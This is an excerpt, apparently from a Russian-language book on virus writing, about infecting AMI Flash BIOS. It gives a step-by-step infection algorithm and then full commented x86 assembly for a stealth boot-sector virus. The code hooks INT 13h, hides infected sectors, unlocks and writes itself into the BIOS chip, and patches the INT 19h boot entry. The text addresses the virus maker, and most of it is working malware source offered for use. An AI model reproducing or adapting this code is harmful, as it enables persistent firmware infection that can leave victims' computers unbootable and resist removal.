Flash BIOS

Flash BIOS

Новое место для вирусов

Flash-память – энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения.

Flash BIOS – Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована – это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90 % портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium.

Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру – это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера.

AMI Flash вирус

Алгоритм работы вируса:

1. Проверить компьютер на наличие Flash BIOS;

2. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена);

3. Считать вектор INT 19h из таблицы (прерывание загрузки);

4. Прочесть первые 5 байт от точки входа INT 19h;

5. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей);

6. Установить память Flash BIOS в режим записи (обычно она находится в режиме «ReadOnly»);

7. Записать вирус в найденную область нулей;

8. Записать переход на вирус в точку входа INT 19h;

9. Восстановить режим «ReadOnly» для памяти Flash BIOS.

Единственное предназначение INT 19h – быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить.

Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h.

AMI BIOS обладает своими специфическими особенностями при размещении в микросхемах Flash-памяти, которые базируются на использовании функции E0h прерывания INT 16h. Самое интересное состоит в том, что однажды внесенный в эту память вирус может запретить повторно использовать указанную функцию. Это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Исходя из этого, авторам антивирусных программ придется трассировать INT 16h, чтобы получить оригинальный вектор.

Исходный текст вируса, заражающего Flash BIOS.

;Вирус, заражающий Flash BIOS.

;Если на компьютере есть Flash BIOS, имеется шанс, что его могут

;серьезно испортить. Если BIOS изменится, это может привести

;к неприятностям. Нельзя будет загрузиться даже с ”чистой”

;дискеты. Зараженный чип в рабочее состояние не вернуть.

org 0

;При входе в boot?сектор DL=загрузочный диск

mov si,7C00h

;Установим 0000h в регистрах DS и ES

xor ax,ax

mov es,ax

mov ds,ax

;Установим значение стека 0000h:7C00h

cli

mov ss,ax

mov sp,si

sti

;Уменьшим на 1Кбайт память (0040h:0013h)

dec word ptr [0413h]

;Получим размер памяти (при возврате в AX)

int 12h

;Так как размер памяти указан в килобайтах (1024 байт), а нужно

;в параграфах (16 байт), умножим его на 64, что эквивалентно

;сдвигу на 6 разрядов влево

mov cl,6

shl ax,cl

;Установим новый сегмент вируса (вершина памяти)

mov es,ax

;Перенесем вирусный сектор в вершину памяти

xor di,di

mov cx,200h

cld

rep movsb

;Сохраним вектор прерывания INT 13h. Поскольку этот вирус

;загрузился до загрузки DOS, то прерывание INT 21h еще не

;работает – работаем с вектором прерывания прямо в таблице

mov ax,word ptr [13h*4]

mov word ptr es:[offset i13],ax

mov ax,word ptr [13h*4+2]

mov word ptr es:[offset i13+2],ax

;Установим новый вектор прерывания INT 13h

mov word ptr [13h*4],offset Handler

mov word ptr [13h*4+2],es

;Переходим в точку ES:Restart (в копии вируса,

;находящейся в вершине памяти)

already_resident:

push es

mov ax,offset Restart

push ax

retf

;С этого места программа работает уже в вершине памяти

Restart:

;Загружаем оригинальный boot?сектор из конца

;root directory и передаем ему управление.

;Сброс дисковой подсистемы (перед работой

;с дисковой подсистемой надо выполнить

;функцию 00h прерывания INT 13h)

xor ax,ax

call int13h

;Подготовим регистры для загрузки оригинального boot?сектора

xor ax,ax

mov es,ax ;Сегмент для загрузки

mov bx,7C00h ;Смещение для загрузки

mov cx,0002h ;Дорожка 0, сектор 2

xor dh,dh ;Головка 0

mov ax,0201h ;Функция 2, количество секторов 1

;Проверим диск, с которого грузимся. 80h и выше – жесткий диск,

;иначе – дискета. Копия оригинального boot?сектора хранится

;в разных местах: на жестком диске – дорожка 0, головка 0, сектор 2;

;на дискете – дорожка 0, головка 1, сектор 14

cmp dl,80h

jae MBR_Loader

;Грузимся с дискеты: изменим сектор и головку

mov cl,14 ;Сектор 14

mov dh,1 ;Головка 1

;Загрузим оригинальный boot?сектор по адресу 0000h:7C00h

MBR_Loader:

call int13h

;Сохраним в стеке номер диска, с которого грузимся

push dx

;Проверим, заражен ли Flash BIOS

cmp byte ptr cs:flash_done,1

je Flash_resident

;Заразим Flash BIOS

call flash_BIOS

;Восстановим из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

;Запускаем оригинальный boot?сектор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Сюда попадаем, когда происходит чтение boot?сектора. Скрываем

;присутствие вируса методом чтения оригинального boot?сектора

Stealth:

;Установим значения сектора, где хранится копия оригинального

;boot?сектора

mov cx,02h

mov ax,0201h

;Проверим, откуда считан boot?сектор (дискета или жесткий диск),

;так как копии хранятся в разных местах

cmp dl,80h

jae hd_stealth

mov cl,14

mov dh,1

hd_stealth:

;Прочтем копию оригинального boot?сектора. Так как

;номера секторов подменены, фактически ”копия выдается

;за оригинал” – скрываем свое присутствие (Stealth).

call int13h

;Выходим из обработчика прерывания

jmp pop_exit

;Проверка наличия резидентного вируса – ответим:

;запрос INT 13h (AX=ABBAh), ответ AX=BAABh

res_test:

xchg ah,al

iret

;Обработчик прерывания INT 13h

Handler:

;Если при вызове в AX находится ABBAh,

;значит это проверка наличия резидентного вируса

cmp ax,0ABBAh

je res_test

;Перехватываем только функцию 02h (чтение сектора): проверяем

;номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah,2

jne jend

;Проверяем номера дорожки и сектора, интересуясь только теми

;секторами, в которых может оказаться вирус –

;дорожка 0, головка 0, сектор 1

cmp cx,1

jne jend

;Проверим номер головки. Если не 0, то запустим

;оригинальный обработчик

cmp dh,0

jne jend

try_infect:

;Считаем сектор в буфер (для дальнейшей обработки).

;Для этого вызовем оригинальный INT 13h

call int13h

jc jend

;Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

;Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.

;Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker],”LV”

je stealth

;Если диск не заражен, то заражаем: проверим, откуда загружен

;boot?сектор (с дискеты или с жесткого диска)

cmp dl,80h

jb infect_floppy

;Установим номера дорожки, головки и сектора для жесткого

;диска для сохранения оригинального boot?сектора

mov cx,2

xor dh,dh

jmp write_virus

Infect_Floppy:

;Установим номера дорожки, головки и сектора для дискеты

;для сохранения оригинального boot?сектора

mov cx,14

mov dh,1

Write_Virus:

;Записываем оригинальный boot?сектор

mov ax,0301h

call int13h

jc pop_exit

;Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

;Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done,0

;Запишем тело вируса в boot?сектор

xor bx,bx

mov ax,0301h

mov cx,0001h

xor dh,dh

call int13h

;Восстановим регистры и флаги (как раз те их значения, которые

;свидетельствует о том, что boot?сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

;Выходим из обработчика в вызывающую программу

retf 2

;Запуск оригинального обработчика

jend:

DD 0EAh ;Код команды JMP FAR

;Оригинальный вектор INT13h

i13 DD 0

;Вызов прерывания INT 13h

Int13h proc near

pushf

call dword ptr cs:[i13]

ret

Int13h endp

;Первые два байта слова используются как сигнатура

Marker db ”VLAD”

;Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

;Проверим наличие Flash BIOS

mov ax,0E000h

int 16h

jc no_flash_bios

cmp al,0FAh

jne no_flash_bios

;Сначала найдем хорошее место для хранения вируса.

;Просканируем память F000h?FFFFh, где обычно находится BIOS,

;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

;но выделить нужно с запасом

Infect_Flash:

;Установим начальный сегмент для поиска

mov ax,0F000h

mov ds,ax

;Проверим сегмент

New_segment:

;Установим стартовое смещение

xor si,si

;Установим счетчик найденных байт

;(величина свободного места для вируса)

xor dx,dx

ok_new_segment:

;Перейдем к следующему сегменту

inc ax

mov ds,ax

;Проверим, есть ли еще место для вируса

cmp ax,0FFF0h

je no_flash_BIOS

;Проверим, свободно ли место (для скорости проверяем словами)

Test16:

cmp word ptr [si],0

jne new_segment

;Увеличим счетчик размера найденного свободного места

inc dx

;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,

но

;так как память сканируем словами, сравниваем с 512 (1Кбайт=512

слов)

cmp dx,512

je found_storage

;Увеличим смещение проверяемого байта

inc si

inc si

;Сравним с 16. Переходим к следующему сегменту

;в начале каждого параграфа

cmp si,16

je ok_new_segment

jmp test16

;В эту точку попадаем, если место найдено

Found_storage:

;Перейдем к началу зоны

sub ax,40h

mov ds,ax

;Получим требования к сохранению состояния чипа

mov ax,0E001h

int 16h

;Проверим, сколько памяти необходимо для сохранения состояния

;чипа. Если слишком много, не будем сохранять состояние

cmp bx,512

jbe save_chipset

;Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset,1

;Перейдем к записи

jmp write_enable

;Сюда попадаем, если Flash BIOS не обнаружен:

;записывать некуда – выходим

No_Flash_BIOS:

ret

;Сохраним состояние чипа

save_chipset:

;Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset,0

;Сохраним состояние

mov al,2

push cs

pop es

mov di,offset buffer

int 16h

;Записываемся во Flash BIOS

write_enable:

;Повышаем напряжение

mov al,5

int 16h

;Разрешаем запись во Flash BIOS

mov al,7

int 16h

;Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di,di

mov cx,512

push cs

pop ds

xor si,si

cld

rep movsb

;Здесь нужна особая осторожность. Int19h указывает на BIOS,

;позднее оно перехватывается различными программами.

;Если трассировать его, можно наткнуться на закрытую область

;или на сегмент 70h, но этого не будет при загрузке. Понятно,

;что это единственное удачное время для выполнения вируса.

;Все, что нужно – ”внедриться” в int19h.

;Можно перехватить его в том месте, где находится

;сохраненная таблица векторов, но сделаем интереснее.

;Получим смещение оригинального обработчика int19h

mov bx,es ;BX=сегмент вируса

xor ax,ax

mov ds,ax ;DS=Таблица векторов

mov di,word ptr [19h*4] ;Смещение INT 19h

mov es,word ptr [19h*4+2] ;Сегмент INT 19h

;Запишем JMP FAR по адресу точки входа в INT 19h

mov al,0EAh

stosb

mov ax,offset int19handler

stosw

mov ax,bx

stosw

;Понизим напряжение

mov ax,0E004h

int 16h

;Защитим Flash BIOS от записи

mov al,6

int 16h

;Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset,0

jne No_Flash_BIOS

;Восстановим состояние чипа

push cs

pop es

mov al,3

mov di,offset buffer

int 16h

jmp No_Flash_BIOS

;Флаг несохранения состояния чипа

chipset db 0

;Флаг присутствия вируса во Flash BIOS

flash_done db 0

;Наш обработчик INT 19h.

Int19Handler Proc Near

;Установим сегментный регистр ES в ноль

xor ax,ax

mov es,ax

;Проверим наличие резидентного вируса

mov ax,0ABBAh

int 13h

;Если вирус присутствует, то запускаем оригинальный

;обработчик прерывания INT 19h

cmp ax,0BAABh

jne real_int19h

;Перенесем вирус из BIOS в boot?буфер

push cs

pop ds

cld

xor si,si

mov di,7c00h

mov cx,512

rep movsb

;Запустим вирус в boot?буфере

mov dl,80h

jmp goto_Buffer

Real_int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

int 13h

;Проинициализируем значения регистров для загрузки boot?сектора

mov cx,1

mov dh,0

mov ax,0201h

mov bx,7C00h

;Проверим, откуда грузимся: если DL не нулевой,

;переходим к загрузке с жесткого диска

cmp dl,0

ja hd_int19h

;Прочтем boot?сектор с дискеты. Если при чтении происходит

;ошибка, то читаем с жесткого диска

int 13h

jc fix_hd

;Установим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done],1

;Запустим boot?сектор, находящийся в boot?буфере

db 0EAh ;Код команды JMP FAR

dw 7c00h

dw 0

Fix_HD:

;Установим номер диска для загрузки (диск C)

mov dl,80h

HD_Int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

int 13h

;Прочтем boot?сектор

mov ax,0201h

int 13h

jc Boot

jmp Goto_Buffer

;Если не удалось загрузить boot?сектор,

;вызываем прерывание INT 18h

Boot:

int 18h

Int19Handler EndP

Flash_BIOS EndP

End_Virus:

;Размер области памяти, необходимый для дополнения

;размера вируса до 510 байт

DupSize equ 510–offset End_Virus

;Заполнение незанятой вирусом части сектора

db DupSize dup (0)

db 55h,0aah

;Место для сохранения состояния чипа

Buffer:

Данный текст является ознакомительным фрагментом.